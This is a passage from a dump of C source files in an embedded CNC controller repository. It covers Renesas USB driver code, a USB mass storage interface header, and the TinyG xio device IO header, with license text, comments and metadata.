isnd_msg error (%ld)\\n\", err);\n }\n#endif /* USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n }\n#endif /* USB_FUNCSEL_USBIP1_PP != USB_NOUSE_PP */\n} /* eof usb2_cstd_d0fifo_handler() */\n#endif /* USB_FUNCSEL_USBIP1_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP */\n\n/******************************************************************************\nFunction Name : usb_cstd_dtc_not_4alignment\nDescription : USB Transfer data size 4Byte Alignment.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_cstd_dtc_not_4alignment(USB_UTR_t *ptr)\n{\n uint32_t offset;\n uint8_t *data_ptr;\n uint16_t pipe;\n\n usb_dtc_alignment_size = USB_BYTE_SIZE_0;\n\n /* Get DTC Transfer pipe no. */\n pipe = usb_gcstd_Dma0Pipe[ptr->ip];\n\n /* Check transfer size.(Over 8bit size?) */\n if( usb_gcstd_DataCnt[ptr->ip][pipe] > USB_DTC_CRA_VAL_MAX )\n {\n /* Check 4Byte alignment */\n if( ( usb_gcstd_DataCnt[ptr->ip][pipe] % USB_BYTE_SIZE_4 ) != USB_BYTE_SIZE_0 )\n {\n /* Get transfer data top address. */\n data_ptr = usb_gcstd_DataPtr[ptr->ip][usb_gcstd_Dma0Pipe[ptr->ip]];\n\n /* Get alignment size */\n usb_dtc_alignment_size = usb_gcstd_DataCnt[ptr->ip][pipe] % USB_BYTE_SIZE_4;\n /* Round transfer data size */\n usb_gcstd_DataCnt[ptr->ip][pipe] &= USB_DTC_4ALIGNMENT_MASK;\n\n /* Store alignment data */\n offset = usb_gcstd_DataCnt[ptr->ip][pipe];\n if( usb_dtc_alignment_size == USB_BYTE_SIZE_3 )\n {\n usb_dtc_alignment_data[0] = data_ptr[offset];\n usb_dtc_alignment_data[1] = data_ptr[offset+1];\n usb_dtc_alignment_data[2] = data_ptr[offset+2];\n }\n else if( usb_dtc_alignment_size == USB_BYTE_SIZE_2 )\n {\n usb_dtc_alignment_data[0] = data_ptr[offset];\n usb_dtc_alignment_data[1] = data_ptr[offset+1];\n }\n else\n {\n usb_dtc_alignment_data[0] = data_ptr[offset];\n }\n }\n }\n} /* eof usb_cstd_dtc_not_4alignment() */\n\n/******************************************************************************\nFunction Name : usb_cstd_dtc_write_not_4alignment\nDescription : Write Rounded data for D0FIFO\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_cstd_dtc_write_not_4alignment(USB_UTR_t *ptr)\n{\n /* Check alignment data */\n if( usb_dtc_alignment_size > USB_BYTE_SIZE_0 )\n {\n /* DMA buffer clear mode & MBW set */\n usb_creg_set_mbw( ptr, USB_D0DMA, USB_MBW_8 );\n\n /* Write alignment data for D0FIFO */\n if( usb_dtc_alignment_size == USB_BYTE_SIZE_3 )\n {\n usb_creg_write_fifo8( ptr, USB_D0DMA, usb_dtc_alignment_data[0] );\n usb_creg_write_fifo8( ptr, USB_D0DMA, usb_dtc_alignment_data[1] );\n usb_creg_write_fifo8( ptr, USB_D0DMA, usb_dtc_alignment_data[2] );\n }\n else if( usb_dtc_alignment_size == USB_BYTE_SIZE_2 )\n {\n usb_creg_write_fifo8( ptr, USB_D0DMA, usb_dtc_alignment_data[0] );\n usb_creg_write_fifo8( ptr, USB_D0DMA, usb_dtc_alignment_data[1] );\n }\n else\n {\n usb_creg_write_fifo8( ptr, USB_D0DMA, usb_dtc_alignment_data[0] );\n }\n\n usb_dtc_alignment_size = USB_BYTE_SIZE_0;\n }\n} /* eof usb_cstd_dtc_write_not_4alignment() */\n\n#endif /* USB_DTC_ENABLE */\n\n/******************************************************************************\nFunction Name : usb_cstd_brdy_pipe\nDescription : Search for the PIPE No. that BRDY interrupt occurred, and \n request data transmission/reception from the PIPE\nArguments : USB_UTR_t *ptr\n : uint16_t bitsts ; BRDYSTS Register & BRDYENB Register\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_brdy_pipe(USB_UTR_t *ptr, uint16_t bitsts)\n{\n uint16_t useport;\n uint16_t i;\n uint16_t ip;\n\n#ifdef USB_DTC_ENABLE\n uint16_t buffer;\n uint16_t maxps;\n uint16_t set_dtc_brock_cnt;\n uint16_t trans_dtc_block_cnt;\n#endif /* USB_DTC_ENABLE */\n\n ip = ptr->ip;\n#ifdef USB_DTC_ENABLE\n maxps = usb_gcstd_Dma0Fifo[ip];\n#endif /* USB_DTC_ENABLE */\n for( i = USB_PIPE1; i <= USB_MAX_PIPE_NO; i++ )\n {\n if( (bitsts & USB_BITSET(i)) != 0 )\n {\n /* Interrupt check */\n usb_creg_clr_sts_bemp( ptr, i );\n\n if( usb_gcstd_Pipe[ip][i] != USB_NULL )\n {\n /* Pipe number to FIFO port select */\n useport = usb_cstd_Pipe2Fport(ptr, i);\n if( useport == USB_D0DMA )\n {\n#ifdef USB_DTC_ENABLE\n /* DMA Transfer request disable */\n usb_creg_clr_dreqe( ptr, USB_D0DMA );\n\n /* DMA stop */\n usb_cpu_d0fifo_stop_dma(ptr);\n\n /* Changes FIFO port by the pipe. */\n buffer = usb_cstd_is_set_frdy(ptr, i, useport, USB_NO);\n\n set_dtc_brock_cnt = (uint16_t)((usb_gcstd_DataCnt[ip][usb_gcstd_Dma0Pipe[ip]] -1)\n / usb_gcstd_Dma0Fifo[ip]) +1;\n\n trans_dtc_block_cnt = usb_cpu_get_dtc_block_count(ptr);\n /* Get D0fifo Receive Data Length */\n usb_gcstd_Dma0Size[ip]\n = (uint32_t)(buffer & USB_DTLN) + (set_dtc_brock_cnt - (trans_dtc_block_cnt + 1)) * maxps;\n\n /* Check data count */\n if( usb_gcstd_Dma0Size[ip] == usb_gcstd_DataCnt[ptr->ip][i] )\n {\n usb_gcstd_DataCnt[ip][i] = 0;\n /* End of data transfer */\n usb_cstd_DataEnd(ptr, i, (uint16_t)USB_DATA_OK);\n }\n else if( usb_gcstd_Dma0Size[ip] > usb_gcstd_DataCnt[ip][i] )\n {\n /* D0FIFO access DMA stop */\n usb_cstd_D0fifoStopUsb(ptr);\n /* End of data transfer */\n usb_cstd_DataEnd(ptr, i, (uint16_t)USB_DATA_OVR);\n }\n else\n {\n /* D0FIFO access DMA stop */\n usb_cstd_D0fifoStopUsb(ptr);\n /* End of data transfer */\n usb_cstd_DataEnd(ptr, i, (uint16_t)USB_DATA_SHT);\n }\n /* Set BCLR */\n usb_creg_set_bclr( ptr, USB_D0DMA );\n#endif /* USB_DTC_ENABLE */\n }\n else\n {\n if( usb_cstd_GetPipeDir(ptr, i) == USB_BUF2FIFO )\n {\n /* Buffer to FIFO data write */\n usb_cstd_Buf2Fifo(ptr, i, useport);\n }\n else\n {\n /* FIFO to Buffer data read */\n usb_cstd_Fifo2Buf(ptr, i, useport);\n }\n }\n }\n }\n }\n}/* eof usb_cstd_brdy_pipe() */\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.5132789015769958, "alphanum_fraction": 0.5547350645065308, "avg_line_length": 57.92366409301758, "blob_id": "6e1e3082716b81a65b13c87b84fa5bb13cbc8027", "content_id": "f496df0474b3e1d2f2061f98edad3485ecae4cff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7719, "license_type": "no_license", "max_line_length": 122, "num_lines": 131, "path": "/r_usb_hmsc/r_usb_hmsc_if.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hmsc_if.h\n* Description : Interface file for USB vendor class API for RX\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n#ifndef _USB_HMSC_IF_H\n#define _USB_HMSC_IF_H\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Version Number of API. */\n#define RX_USB_HMSC_API_VERSION_MAJOR (1)\n#define RX_USB_HMSC_API_VERSION_MINOR (10)\n\n\n\n#define USB_HMSC_DRIVEMOUNT (uint16_t)0x1000\n#define USB_HMSC_FILEREAD (uint16_t)0x1001\n#define USB_HMSC_FILEWRITE (uint16_t)0x1002\n#define USB_HMSC_DRIVE_OPEN (uint16_t)0x1003\n#define USB_HMSC_DRIVE_OPEN2 (uint16_t)0x1004\n#define USB_HMSC_WAIT (uint16_t)0x1005\n\n#define USB_HMSC_DEV_DET (uint16_t)0x00 /* detached device */\n#define USB_HMSC_DEV_ATT (uint16_t)0x01 /* attached device */\n#define USB_HMSC_DEV_ENU (uint16_t)0x02 /* Device enumeration */\n\n\n/*****************************************************************************\nEnum definitions\n******************************************************************************/\nenum\n{\n /*--- SFF-8070i command define ---*/\n USB_ATAPI_TEST_UNIT_READY = 0x00u,\n USB_ATAPI_REQUEST_SENSE = 0x03u,\n USB_ATAPI_FORMAT_UNIT = 0x04u,\n USB_ATAPI_INQUIRY = 0x12u,\n USB_ATAPI_MODE_SELECT6 = 0x15u,\n USB_ATAPI_MODE_SENSE6 = 0x1Au,\n USB_ATAPI_START_STOP_UNIT = 0x1Bu,\n USB_ATAPI_PREVENT_ALLOW = 0x1Eu,\n USB_ATAPI_READ_FORMAT_CAPACITY = 0x23u,\n USB_ATAPI_READ_CAPACITY = 0x25u,\n USB_ATAPI_READ10 = 0x28u,\n USB_ATAPI_WRITE10 = 0x2Au,\n USB_ATAPI_SEEK = 0x2Bu,\n USB_ATAPI_WRITE_AND_VERIFY = 0x2Eu,\n USB_ATAPI_VERIFY10 = 0x2Fu,\n USB_ATAPI_MODE_SELECT10 = 0x55u,\n USB_ATAPI_MODE_SENSE10 = 0x5Au,\n};\n\n/******************************************************************************\nExported global functions (to be accessed by other files)\n******************************************************************************/\nuint16_t R_usb_hmsc_DriveSpeed(USB_UTR_t *ptr, uint16_t side);\nuint16_t R_usb_hmsc_GetDevSts( uint16_t side );\nuint16_t R_usb_hmsc_Information(uint16_t ipno, uint16_t PipeOffset);\nuint16_t R_usb_hmsc_Inquiry(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_ModeSelect6(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_ModeSense10(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_PreventAllow(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_Read10(USB_UTR_t *ptr, uint16_t side, uint8_t *buff,\n uint32_t secno, uint16_t seccnt, uint32_t trans_byte);\nuint16_t R_usb_hmsc_ReadCapacity(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_ReadFormatCapacity(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_RequestSense(USB_UTR_t *ptr, uint16_t side, uint8_t *buff);\nuint16_t R_usb_hmsc_SetDevSts( uint16_t side, uint16_t data );\nuint16_t R_usb_hmsc_StrgDriveClose(USB_UTR_t *ptr, uint16_t side);\nUSB_ER_t R_usb_hmsc_StrgDriveOpen(USB_UTR_t *ptr, uint16_t side, USB_CB_t complete );\nuint16_t R_usb_hmsc_StrgDriveSearch(USB_UTR_t *ptr, uint16_t addr, USB_CB_t complete);\nuint16_t R_usb_hmsc_StrgReadSector(USB_UTR_t *ptr, uint16_t side, uint8_t *buff\n , uint32_t secno, uint16_t seccnt, uint32_t trans_byte);\nuint16_t R_usb_hmsc_StrgUserCommand(USB_UTR_t *ptr, uint16_t side, uint16_t command, uint8_t *buff, USB_CB_t complete);\nuint16_t R_usb_hmsc_StrgWriteSector(USB_UTR_t *ptr, uint16_t side, uint8_t *buff\n , uint32_t secno, uint16_t seccnt, uint32_t trans_byte);\nuint16_t R_usb_hmsc_TestUnit(USB_UTR_t *ptr, uint16_t side);\nuint16_t R_usb_hmsc_Write10(USB_UTR_t *ptr, uint16_t side, uint8_t *buff\n , uint32_t secno, uint16_t seccnt, uint32_t trans_byte);\nvoid R_usb_hmsc_ClassCheck(USB_UTR_t *ptr, uint16_t **table);\nvoid R_usb_hmsc_DriveClose(USB_UTR_t *ptr, uint16_t addr, uint16_t data2);\nvoid R_usb_hmsc_Initialized(USB_UTR_t *ptr, uint16_t data1, uint16_t data2);\nvoid R_usb_hmsc_Release(USB_UTR_t *ptr);\nvoid R_usb_hmsc_StrgTaskClose(USB_UTR_t *ptr);\nvoid R_usb_hmsc_StrgTaskOpen(USB_UTR_t *ptr);\nvoid R_usb_hmsc_TaskClose(USB_UTR_t *ptr);\nvoid R_usb_hmsc_TaskOpen(USB_UTR_t *ptr, uint16_t data1, uint16_t data2);\nvoid R_usb_hmsc_driver_start( USB_UTR_t *ptr );\n\nvoid R_usb_hmsc_ClearStall(USB_UTR_t *ptr, uint16_t type, uint16_t msgnum, USB_CB_t complete);\nUSB_ER_t R_usb_hmsc_MassStorageReset(USB_UTR_t *ptr, uint16_t drvnum, USB_CB_t complete);\nUSB_ER_t R_usb_hmsc_GetMaxUnit(USB_UTR_t *ptr, uint16_t addr, USB_CB_t complete);\n\nvoid R_usb_hmsc_hub_registration(USB_UTR_t *ptr);\nvoid R_usb_hmsc_Task( void ); \nvoid R_usb_hmsc_StrgDriveTask( void ); \n\nuint16_t R_usb_hmsc_alloc_drvno(uint16_t ipno, uint16_t devadr);\nvoid R_usb_hmsc_free_drvno(uint16_t drvno);\nuint16_t R_usb_hmsc_ref_drvno(uint16_t ipno, uint16_t devadr);\n\n#endif /* _USB_HMSC_IF_H */\n" }, { "alpha_fraction": 0.6176521182060242, "alphanum_fraction": 0.638724148273468, "avg_line_length": 42.97215270996094, "blob_id": "584d8bf90ad5197db58ca9c632747ca60bb536ee", "content_id": "ba8f9ed04b5bae2b973682676c5c41aa70409021", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 17369, "license_type": "no_license", "max_line_length": 110, "num_lines": 395, "path": "/src/cnc/xio.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * xio.h - Xmega IO devices - common header file\n * Part of TinyG project\n *\n * Copyright (c) 2010 - 2014 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n/* XIO devices are compatible with avr-gcc stdio, so formatted printing\n * is supported. To use this sub-system outside of TinyG you may need\n * some defines in tinyg.h. See notes at end of this file for more details.\n */\n/* Note: anything that includes xio.h first needs the following:\n * \t#include <stdio.h>\t\t\t\t// needed for FILE def'n\n *\t#include <stdbool.h>\t\t\t// needed for true and false\n *\t#include <avr/pgmspace.h>\t\t// defines prog_char, PSTR\n */\n/* Note: This file contains load of sub-includes near the middle\n *\t#include \"xio_file.h\"\n *\t#include \"xio_usart.h\"\n *\t#include \"xio_spi.h\"\n *\t#include \"xio_signals.h\"\n *\t(possibly more)\n */\n/*\n * CAVEAT EMPTOR: File under \"watch your ass\":\n *\n * \t - Short story: Do not call ANYTHING that can print (i.e. send chars to the TX\n *\t\tbuffer) from a medium or hi interrupt. This obviously includes any printf()\n *\t\tfunction, but also exception reports, cm_soft_alarm(), cm_hard_alarm() and a\n *\t\tfew other functions that call stdio print functions.\n *\n * \t - Longer Story: The stdio printf() functions use character drivers provided by\n *\t\ttinyg to access the low-level Xmega devices. Specifically xio_putc_usb() in xio_usb.c,\n *\t\tand xio_putc_rs485() in xio_rs485.c. Since stdio does not understand non-blocking\n *\t\tIO these functions must block if there is no space in the TX buffer. Blocking is\n *\t\taccomplished using sleep_mode(). The IO system is the only place where sleep_mode()\n *\t\tis used. Everything else in TinyG is non-blocking. Sleep is woken (exited) whenever\n *\t\tany interrupt fires. So there must always be a viable interrupt source running when\n *\t\tyou enter a sleep or the system will hang (lock up). In the IO functions this is the\n *\t\tTX interupts, which fire when space becomes available in the USART for a TX char. This\n *\t\tMeans you cannot call a print function at or above the level of the TX interrupts,\n *\t\twhich are set to medium.\n */\n#ifndef XIO_H_ONCE\n#define XIO_H_ONCE\n\n/*************************************************************************\n *\tDevice configurations\n *************************************************************************/\n// Pre-allocated XIO devices (configured devices)\n// Unused devices are commented out. All this needs to line up.\n\nenum xioDevNum_t {\t\t// TYPE:\tDEVICE:\n\tXIO_DEV_USBFAT,\n\tXIO_DEV_COMMAND,\n\tXIO_DEV_SPIFFS,\n\tXIO_DEV_COUNT\t\t// total device count (must be last entry)\n};\n// If your change these ^, check these v\n#define XIO_DEV_USBFILE_COUNT \t1 \t\t\t\t// # of FsFat devices\n#define XIO_DEV_USBFILE_OFFSET\t0\t\t\t\t// offset for computing indices\n\n#define XIO_DEV_COMMAND_COUNT \t\t1 \t\t\t\t// # of Command devices\n#define XIO_DEV_COMMAND_OFFSET\t\tXIO_DEV_USBFILE_COUNT\t// offset for computing indicies\n\n#define XIO_DEV_SPIFFS_COUNT \t\t1 \t\t\t\t// # of Command devices\n#define XIO_DEV_SPIFFS_OFFSET\t\tXIO_DEV_COMMAND_COUNT + XIO_DEV_COMMAND_OFFSET\t// offset for computing indicies\n\n// Fast accessors\n\n\n/******************************************************************************\n * Device structures\n *\n * Each device has 3 structs. The generic device struct is declared below.\n * It embeds a stdio stream struct \"FILE\". The FILE struct uses the udata\n * field to back-reference the generic struct so getc & putc can get at it.\n * Lastly there's an 'x' struct which contains data specific to each dev type.\n *\n * The generic open() function sets up the generic struct and the FILE stream.\n * the device opens() set up the extended struct and bind it ot the generic.\n ******************************************************************************/\n// NOTE\" \"FILE *\" is another way of saying \"struct __file *\"\n// NOTE: using the \"x_\" prefix fo avoid collisions with stdio defined getc, putc, etc\n\n#define flags_t uint16_t\n\ntypedef struct xioDEVICE {\t\t\t\t\t\t// common device struct (one per dev)\n\t// references and self references\n\tuint16_t magic_start;\t\t\t\t\t\t// memory integrity check\n\tuint8_t dev;\t\t\t\t\t\t\t\t// self referential device number\n\tFILE file;\t\t\t\t\t\t\t\t\t// stdio FILE stream structure\n\tvoid *x;\t\t\t\t\t\t\t\t\t// extended device struct binding (static)\n\n\t// function bindings\n\tFILE *(*x_open)(const uint8_t dev, const char *addr, const flags_t flags);\n\tint (*x_ctrl)(struct xioDEVICE *d, const flags_t flags);\t // set device control flags\n\tvoid (*x_close)(struct xioDEVICE *d);\n\tint (*x_gets)(struct xioDEVICE *d, char *buf, const int size);// non-blocking line reader\n\tint (*x_getc)(FILE *);\t\t\t\t\t\t// read char (stdio compatible)\n\tint (*x_putc)(char, FILE *);\t\t\t\t// write char (stdio compatible)\n\tvoid (*x_flow)(struct xioDEVICE *d);\t\t// flow control callback function\n\n\t// device configuration flags\n\tuint8_t flag_block;\n\tuint8_t flag_echo;\n\tuint8_t flag_crlf;\n\tuint8_t flag_ignorecr;\n\tuint8_t flag_ignorelf;\n\tuint8_t flag_linemode;\n\tuint8_t flag_xoff;\t\t\t\t\t\t\t// xon/xoff enabled\n\n\t// private working data and runtime flags\n\tint size;\t\t\t\t\t\t\t\t\t// text buffer length (dynamic)\n\tuint8_t len;\t\t\t\t\t\t\t\t// chars read so far (buf array index)\n\tuint8_t signal;\t\t\t\t\t\t\t\t// signal value\n\tuint8_t flag_in_line;\t\t\t\t\t\t// used as a state variable for line reads\n\tuint8_t flag_eol;\t\t\t\t\t\t\t// end of line detected\n\tuint8_t flag_eof;\t\t\t\t\t\t\t// end of file detected\n\tchar *buf;\t\t\t\t\t\t\t\t\t// text buffer binding (can be dynamic)\n\tuint16_t magic_end;\n} xioDev_t;\n\ntypedef FILE *(*x_open_t)(const uint8_t dev, const char *addr, const flags_t flags);\ntypedef int (*x_ctrl_t)(xioDev_t *d, const flags_t flags);\ntypedef void (*x_close_t)(xioDev_t *d);\ntypedef int (*x_gets_t)(xioDev_t *d, char *buf, const int size);\ntypedef int (*x_getc_t)(FILE *);\ntypedef int (*x_putc_t)(char, FILE *);\ntypedef void (*x_flow_t)(xioDev_t *d);\n\n/*************************************************************************\n *\tSub-Includes and static allocations\n *************************************************************************/\n// Put all sub-includes here so only xio.h is needed elsewhere\n#include \"./xio/xio_SPIFFS.h\"\n#include \"./xio/xio_FsFat.h\"\n#include \"./xio/xio_Command.h\"\n// Static structure allocations\nextern xioDev_t \t\tds[XIO_DEV_COUNT];\t\t\t// allocate top-level dev structs\nextern xioFsfat_t\t ufsfat[XIO_DEV_USBFILE_COUNT];\nextern xioSPIFFS_t\t uspiffs[XIO_DEV_SPIFFS_COUNT];\nextern xioCommand_t\t command[XIO_DEV_COMMAND_COUNT];\nextern struct controllerSingleton tg;\t\t// needed by init() for default source\n\n/*************************************************************************\n *\tFunction Prototypes and Macros\n *************************************************************************/\n\n// Advance RX or TX head or tail. Buffers count down, so advance is a decrement.\n// The zero condition is the wrap that sets the index back to the top.\n#define advance_buffer(buf,len) { if ((--(buf)) == 0) buf = len-1;}\n\n// public functions (virtual class)\nvoid xio_init(void);\nvoid xio_init_assertions(void);\nuint8_t xio_test_assertions(void);\nuint8_t xio_isbusy(void);\n\nvoid xio_reset_working_flags(xioDev_t *d);\nFILE *xio_open(const uint8_t dev, const char *addr, const flags_t flags);\nint xio_ctrl(const uint8_t dev, const flags_t flags);\nvoid xio_close(const uint8_t dev);\nint xio_gets(const uint8_t dev, char *buf, const int size);\nint xio_getc(const uint8_t dev);\nint xio_putc(const uint8_t dev, const char c);\nint xio_set_baud(const uint8_t dev, const uint8_t baud_rate);\n\n// generic functions (private, but at virtual level)\nint xio_ctrl_generic(xioDev_t *d, const flags_t flags);\n\nvoid xio_open_generic(uint8_t dev, x_open_t x_open,\n\t\t\t\t\t\t\t\t x_ctrl_t x_ctrl,\n\t\t\t\t\t\t\t\t x_close_t x_close,\n\t\t\t\t\t\t\t\t x_gets_t x_gets,\n\t\t\t\t\t\t\t\t x_getc_t x_getc,\n\t\t\t\t\t\t\t\t x_putc_t x_putc,\n\t\t\t\t\t\t\t\t x_flow_t x_flow);\n\nvoid xio_fc_null(xioDev_t *d);\t\t\t// NULL flow control callback\nvoid xio_fc_usart(xioDev_t *d);\t\t\t// XON/XOFF flow control callback\n\n// std devices\nvoid xio_init_stdio(void);\t\t\t\t// set std devs & do startup prompt\nvoid xio_set_stdin(const uint8_t dev);\nvoid xio_set_stdout(const uint8_t dev);\nvoid xio_set_stderr(const uint8_t dev);\n\n/*************************************************************************\n * SUPPORTING DEFINTIONS - SHOULD NOT NEED TO CHANGE\n *************************************************************************/\n/*\n * xio control flag values\n *\n * if using 32 bits must cast 1 to uint32_t for bit evaluations to work correctly\n * #define XIO_BLOCK\t((uint32_t)1<<1)\t\t// 32 bit example. Change flags_t to uint32_t\n */\n\n#define XIO_BLOCK\t\t((uint16_t)1<<0)\t\t// enable blocking reads\n#define XIO_NOBLOCK\t\t((uint16_t)1<<1)\t\t// disable blocking reads\n#define XIO_XOFF \t\t((uint16_t)1<<2)\t\t// enable XON/OFF flow control\n#define XIO_NOXOFF \t\t((uint16_t)1<<3)\t\t// disable XON/XOFF flow control\n#define XIO_ECHO\t\t((uint16_t)1<<4)\t\t// echo reads from device to stdio\n#define XIO_NOECHO\t\t((uint16_t)1<<5)\t\t// disable echo\n#define XIO_CRLF\t\t((uint16_t)1<<6)\t\t// convert <LF> to <CR><LF> on writes\n#define XIO_NOCRLF\t\t((uint16_t)1<<7)\t\t// do not convert <LF> to <CR><LF> on writes\n#define XIO_IGNORECR\t((uint16_t)1<<8)\t\t// ignore <CR> on reads\n#define XIO_NOIGNORECR\t((uint16_t)1<<9)\t\t// don't ignore <CR> on reads\n#define XIO_IGNORELF\t((uint16_t)1<<10)\t\t// ignore <LF> on reads\n#define XIO_NOIGNORELF\t((uint16_t)1<<11)\t\t// don't ignore <LF> on reads\n#define XIO_LINEMODE\t((uint16_t)1<<12)\t\t// special <CR><LF> read handling\n#define XIO_NOLINEMODE\t((uint16_t)1<<13)\t\t// no special <CR><LF> read handling\n\n/*\n * Generic XIO signals and error conditions.\n * See signals.h for application specific signal defs and routines.\n */\n\nenum xioSignals {\n\tXIO_SIG_OK,\t\t\t\t// OK\n\tXIO_SIG_EAGAIN,\t\t\t// would block\n\tXIO_SIG_EOL,\t\t\t// end-of-line encountered (string has data)\n\tXIO_SIG_EOF,\t\t\t// end-of-file encountered (string has no data)\n\tXIO_SIG_OVERRUN,\t\t// buffer overrun\n\tXIO_SIG_RESET,\t\t\t// cancel operation immediately\n\tXIO_SIG_FEEDHOLD,\t\t// pause operation\n\tXIO_SIG_CYCLE_START,\t// start or resume operation\n\tXIO_SIG_QUEUE_FLUSH,\t// flush planner queue\n\tXIO_SIG_DELETE,\t\t\t// backspace or delete character (BS, DEL)\n\tXIO_SIG_BELL,\t\t\t// BELL character (BEL, ^g)\n\tXIO_SIG_BOOTLOADER\t\t// ESC character - start bootloader\n};\n\n/* Some useful ASCII definitions */\n\n#define NUL (char)0x00\t\t// ASCII NUL char (0) (not \"NULL\" which is a pointer)\n#define STX (char)0x02\t\t// ^b - STX\n#define ETX (char)0x03\t\t// ^c - ETX\n#define ENQ (char)0x05\t\t// ^e - ENQuire\n#define BEL (char)0x07\t\t// ^g - BEL\n#define BS (char)0x08\t\t// ^h - backspace\n#define TAB (char)0x09\t\t// ^i - character\n#define LF\t(char)0x0A\t\t// ^j - line feed\n#define VT\t(char)0x0B\t\t// ^k - kill stop\n#define CR\t(char)0x0D\t\t// ^m - carriage return\n#define XON (char)0x11\t\t// ^q - DC1, XON, resume\n#define XOFF (char)0x13\t\t// ^s - DC3, XOFF, pause\n#define SYN (char)0x16\t\t// ^v - SYN - Used for queue flush\n#define CAN (char)0x18\t\t// ^x - Cancel, abort\n#define ESC (char)0x1B\t\t// ^[ - ESC(ape)\n//#define SP (char)0x20\t\t// ' ' Space character\t\t// defined externally\n#define DEL (char)0x7F\t\t// DEL(ete)\n\n#define Q_EMPTY (char)0xFF\t// signal no character\n\n/* Signal character mappings */\n\n#define CHAR_RESET CAN\n#define CHAR_FEEDHOLD (char)'!'\n#define CHAR_CYCLE_START (char)'~'\n#define CHAR_QUEUE_FLUSH (char)'%'\n//#define CHAR_BOOTLOADER ESC\n\n/* XIO return codes\n * These codes are the \"inner nest\" for the STAT_ return codes.\n * The first N TG codes correspond directly to these codes.\n * This eases using XIO by itself (without tinyg) and simplifes using\n * tinyg codes with no mapping when used together. This comes at the cost\n * of making sure these lists are aligned. STAT_should be based on this list.\n */\n\nenum xioCodes {\n\tXIO_OK = 0,\t\t\t\t// OK - ALWAYS ZERO\n\tXIO_ERR,\t\t\t\t// generic error return (errors start here)\n\tXIO_EAGAIN,\t\t\t\t// function would block here (must be called again)\n\tXIO_NOOP,\t\t\t\t// function had no-operation\n\tXIO_COMPLETE,\t\t\t// operation complete\n\tXIO_TERMINATE,\t\t\t// operation terminated (gracefully)\n\tXIO_RESET,\t\t\t\t// operation reset (ungraceful)\n\tXIO_EOL,\t\t\t\t// function returned end-of-line\n\tXIO_EOF,\t\t\t\t// function returned end-of-file\n\tXIO_FILE_NOT_OPEN,\t\t// file is not 